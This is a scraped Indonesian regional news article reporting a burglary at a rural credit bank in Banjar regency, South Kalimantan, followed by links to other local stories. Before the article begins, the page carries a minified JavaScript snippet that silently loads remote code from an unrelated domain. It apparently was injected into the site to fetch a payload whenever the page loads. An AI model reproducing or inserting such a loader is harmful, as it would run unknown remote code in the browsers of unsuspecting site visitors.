(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Kasus pembobolan sebuah Bank Perkreditan Rakyat (BPR) Gawi Sabumi Mandarsari (GSM) yang berlokasi di Jalan Veteran Sungai sipai Kabupaten Banjar, Kamis (11/4) dini hari, terus diusut polisi. Dari laporan pihak BPR, satu unit motor yang merupakan inventaris kantor dari hasil sitaan serta beberapa jaminan kredit nasabah hilang. Total kerugian yang dialami mencapai Rp 27,3 juta.
Pelaku diduga melancarkan aksinya dengan cara membobol pintu depan BPR. Karena kondisi pintu tersebut mengalami kerusakan.
Marketing BPR Gawi Sabumi Mandar, Rahmad Ridho mengatakan, dirinya menerima telepon dari rekannya yang sehari-hari sebagai Kasir sekitar pukul 08.00 Wita. Rekannya itu melihat pintu depan kantor sudah terbuka.
“Setelah kami masuk kedalam, melihat dua buah sepeda motor Satria F tahun 2010 dan Shogun 2004 tidak ada di tempatnya. Tapi ternyata Shogun ditemukan di samping kantor kemungkinan karena bensinnya habis sehingga tidak bisa dibawa kabur,†ungkapnya.
Tidak hanya membawa kabur satu unit sepeda motor milik nasabah yang disita BPR itu, ternyata pencuri juga membawa kabur dua unit CPU merek Lenovo, 1 buah Hardisk Eksternal, HP Black Berry, serta 1 BPKB Yamaha Jupiter Z DA 3790 QU, 1 lembar STNK R2 Suzuki Spin DA 6254 BI, 1 lembar STNK Suzuki Shogun DA 4743 QI, 1 lembar STNK Suzuki Satria F DA 4363 QN , dan 1 lembar STNK Suzuki Shogun DA 4033 SI.
Sementara itu, Kapolres Banjar AKBP Takdir Mattannete melalui Kasat Reskrim Polres Banjar AKP Sofyan mengatakan, polisi menerima kasus pembobolan BPR tersebut pada siang hari. “Benar kita terima laporan dari karyawannya pada siang hari sekitar pukil 14.00 Wita,” ujarnya.
Hilangnya sejumlah barang di Bank BPR, bermula saat pelapor dan seorang saksi hndak membuka pintu kantor sekitar pukil 07.57 Wita. Saksi terkejut melihat pintu Bank BPR tersebut yang terbuat dari besi sudah dalam keadaan terbuka. “Melihat kejadian tersebut pelapor dan saksi memeriksa keadaan sekitar dan ternyata barang-barang yang disebutkan tadi di atas sudah hilang atau tidak ada lagi,” lanjut Kasat Reskrim. Hingga kini polisi masih melakukan penyelidikan terkait kasus ini. (Rico)
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.